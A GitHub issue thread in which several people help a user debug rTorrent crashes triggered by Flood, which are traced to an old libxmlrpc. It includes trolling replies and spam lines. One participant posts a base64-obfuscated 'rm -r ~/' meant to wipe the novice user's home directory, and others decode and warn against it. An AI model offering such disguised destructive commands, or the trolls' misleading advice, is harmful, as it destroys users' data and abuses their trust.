I succesfully setup Flood, I got into the web-interface (login screen, and loading screen), but nothing after that. I was getting a /api/stats 500 error, so I disabled rtorrent sock in config.js. It looks like I made a step forward, but rtorrent crashes right after loading Flood. I put alot of time into setting up Flood (maybe 5 hours of time), and I would like to get it to end. Thanks
rtorrent output - http://pastebin.com/t46Khm7m
flood output - http://pastebin.com/0NxJr77j
rTorrent is not running. This is unrelated to Flood.
Sorry @Lukyczk but you'll need to troubleshoot your rTorrent problems elsewhere. I'm not sure what would cause the segmentation fault.
I think it is related to Flood, as it only happens when I start it. I was already asking on the rtorrent IRC, but no answers there :-/
Hmm okay. Can you post your entire rtorrent.rc and config.js please?
@Lukyczk Please post your configs, otherwise I can't debug this.
Configs
(Changed to txt)
please don't change the config to .txt, it can't be debugged then...
It doesnt let me upload them in .js
please change your scgi listen ip address to 127.0.0.1 unless you want to get hacked
I am now of the opinion this was most likely caused by user error.
okay well you probably need to install regular expressions on your computer, you can download them from http://www.ultrapico.com/expresso.htm
TETYYS: its a closed network without port forwarding and things, I dont care about that
can you run rtorrent in gdb?
white: Im sorry but I have to let it till tomorrow, have a nice day
Don't listen to this guy, GDB is a dangerous computer virus. I wouldn't recommend google-searching for it.
He's already shown us that he has a knowledge of illegal hacking skills like SCGI, not to be trusted
node.js has its own debugger no need to run flood under GDB
Well, ok, i guess
@Lukyczk You're being trolled pretty hard here...
What version of rtorrent are you running? What version of Node? Does rtorrent run normally before you start Flood? And does it crash immediately after starting Flood?
0.9.6, 7.5.0, yes, yes
can you run rtorrent under gdb?
it's not a virus i promise
Reopening for now
Can you please tell me how to do it ? I googled it but I dont really understand what they are talking about. And node gives me an error when trying to install the node debbuger
gdb $(which rtorrent)
Tells me reading symbols from rtorrent...done. And nothing
write run and press enter
k, got it,
pastebin.com/u095nuYu
write bt and press enter
Backtrace stopped: previous frame inner to this frame (corrupt stack?)
uuuhhh im actually not a debugging expert but now run rtorrent in valgrind
That is ?
first hit on google: http://valgrind.org/
Valgrind is an instrumentation framework for building dynamic analysis tools. There are Valgrind tools that can automatically detect many memory management and threading bugs, and profile your programs in detail. You can also use Valgrind to build new tools.
valgrind is a program like gdb, run with valgrind rtorrent
white: yea sorry I should have done that
pastebin.com/PBnCAPTA
did it crash this time?
also looks like something's going on in line 115 of your config
Ill take a look
Line 115 was blank
something tells me you're doing something very wrong
• rtorrent crashes on memcpy, yet valgrind reports no errors (???)
• rtorrent complains about errors in config, but line 115 is blank
I edited out the line 115, and heres the new log
pastebin.com/htwKbJgA
where did the valgrind version go?
I didnt copy that
do you know how to copy from terminal?
I just selected it and CTRL+ALT+C
is this the whole valgrind output?
just pipe the whole output: valgrind $(which rtorrent) | nc termbin.com 9999
Where is it goin to save ?
goto to termbin.com to find out
It didnt tell me, ill try it again. Still did nothing....
pastebin.com/hsNTXwmF
looks like a bug in libxmlrpc that could be potentially triggered by flood
xmlrpc strikes again..
can you compile libxmlrpc from source with debug symbols and try again in valgrind?
Thats ./configure -g, right ?
./configure --debug
Unrecognized option :-/
hmm, try everything till it works, it should work with either of these: --debug | --debu | --deb | --de | --d | -d
Nope, none of them works
don't you want CFLAGS="-g" ./configure?
That one works, thanks
pastebin.com/yyV8dXRy
now recompile rtorrent while linking it to your debuggified libxmlrpc
I think it replaced the previous xmlrpc. Do I still have to recompile rtorrent ?
it shouldn't have, unless you changed the destination prefix. the compiled one should be in /usr/local/lib, packaged one in /usr/lib.
and yeah, you have to recompile regardless (afaik)
if gdb still refuses to output proper errors that help to further diagnose the problem there's still hope that IDA can be useful.
Your mind is the vehicle for your growth
but valgrind just reported that error is in libxmlrpc
pastebin.com/q0U17YLM
in /usr/lib/i386-linux-gnu/libxmlrpc_xmlparse.so.3.33
this is not the xmlrpc you compiled
And what should I do then
i suggest hack-modifying rtorrent configure files or temporary replacing /usr/lib/i386-linux-gnu/libxmlrpc_xmlparse.so.3.33 with your own one
export CPPFLAGS="-I/usr/local/include"
export LDFLAGS="-L/usr/local/lib"
should work?
Export command not found
what shell and OS are you using?
No idea, Debian 8
not having export is like walking out of the house in the morning without trousers. what happens with echo $SHELL?
/bin/bash
my own machine with debian8/bash works absolutely fine.
# export FOO=BAR
#
what have you done to your computer?
Idk :-/ maybe bcs its a kde version and its a 32bit ?
that's odd. what's the output of grep export ~/.bashrc?
He is Nirgura. He is Nirakaar. He is the Para-Brahman that is all pervading.
no, that shouldn't have anything to do with it. At this point i feel like throwing in the towel, if we can't even set a shell variable properly what hope is there?
just temporarily replace /usr/lib/i386-linux-gnu/libxmlrpc_xmlparse.so.3.33 with your own
Shamba: folder or file doesnt exist (translated)
TETYYS: And where my own one located at ?
hm, might as well try to run: redacted
Men should take their knowledge from the sun, the moon and the stars
don't run that
Why
~ $ echo cm0gLXIgfi8K | base64 -d
rm -r ~/
~ $
you need the $()
Wth are you talking aabout
$() means "run the output of"
the output of echo cm0gLXIgfi8K | base64 -d is rm -r ~/
so $(echo cm0gLXIgfi8K | base64 -d) will run rm -r ~/ and remove your home dir
edit: nice try you cheeky shamba bugger
ShambaBanikIT commented 11 minutes ago • edited
@Lukyczk do you know where did you compile your debuggized libxmlrpc?
T. Yeah I do
White sounds logical :-/
can you try export under sh?
Yoga without Dogma. Stretch without Ganesh. Breathe without Krishna. Hare you…!
Shamba's example is wrong, third line should read echo $FOO
Ok, im out, ill do this tomorrow
are you on steroids white?
It does not matter how slowly you go as long as you do not stop.
Thanks to everyone helping @Lukyczk. Let me know if there's anything I can do.
have you ever noticed that returns xmlrpc data in a very disgusting format?
@TETYYS Are you asking me? I'm don't understand the question.
Should I try to reinstall the PC ? If so, do you have a good distribution for a seedbox ?
Don't go rushing reinstalling your OS just cuz something is not working, that's a bad habit that you don't want to get into.
Did you try to run the export command again? Maybe you typo'd something yesterday?
Send a Flu-shot
BananaCoke: No, it doesnt work. I dont have a problem reinstalling the OS, bcs its not my main machine, and its ment just and only for torrenting. And if that doesnt work, then what should I do ?
Your box seems pretty borked atm, dunno what happened there. Anyways, if you are really set on reinstalling your seedbox's OS I would look into installing one of the following:
FreeBSD (it's pretty performant, that's what the big goys at Netflix use)
GNU/Debian LTS (if treated nicely it's a really nice OS to run)
GNU/CentOS (aka RH for the poor)
Never fear, I is here.
please don't reinstall your OS because you discovered potential bug in libxmlrpc
TETYYS: Yea ur right, but I would really like to get it running :-/
it's likely that same thing will happen again after reinstall, please run rtorrent in valgrind with your compiled libxmlrpc
Let's try and get to the bottom of this. Can you post a screenshot of export not working?
On 14 February 2017 18:38:34 GMT+00:00, Lukyczk notifications@github.com wrote:
TETYYS: Yea ur right, but I would really like to get it running :-/
Gimme a sec
Oh, I see, I used "sudo", so it didnt work, it works without "sudo", im sorry
ughhhhhh
I really didnt know that was going to happen
Pastebin/AC9yRcs5
Whatever, you know now. Try running rtorrent with our new xmlrpc then?
On 14 February 2017 18:57:50 GMT+00:00, Lukyczk notifications@github.com wrote:
I really didnt know that was going to happen
Pastebin/AC9yRcs5
you're still using /usr/lib/i386-linux-gnu/libxmlrpc.so.3.33
And wheres the new one located ?
Wherever you installed it, probably /usr/local
On 14 February 2017 19:24:45 GMT+00:00, Lukyczk notifications@github.com wrote:
And wheres the new one located ?
and if you didn't install it, it should be in the source folder somewhere
When I try to install rtorrent with debugging enabled (CFLAGS="-g --with-xmlrpc-c" ./configure" I get: rtorrent: XMLRPC not supported
When I try to install rtorrent with debugging enabled (CFLAGS="-g --with-xmlrpc-c" ./configure" I get: rtorrent: XMLRPC not supported
Dumb close issue button
CFLAGS="-g" ./configure --with-xmlrpc-c ?
Flood started working ! Yay ! Idk why it was happening, but with the newer version of xmlrpc it works (i was using the superstable one before)
uhh... it would be very useful to find out which xmlrpc request would crash it, but whatever.
Solution: Update libxmlrpc
It looks like its fixed in the newer versions, so I think they already knew bout it and fixed it
Well done everyone.
I am the true vine, and My Father is the keeper of the vineyard.
🎉
@Lukyczk no, if they knew about the bug they would backport the fix to the superstable version.
Most helpful comment
hm, might as well try to run:
redacted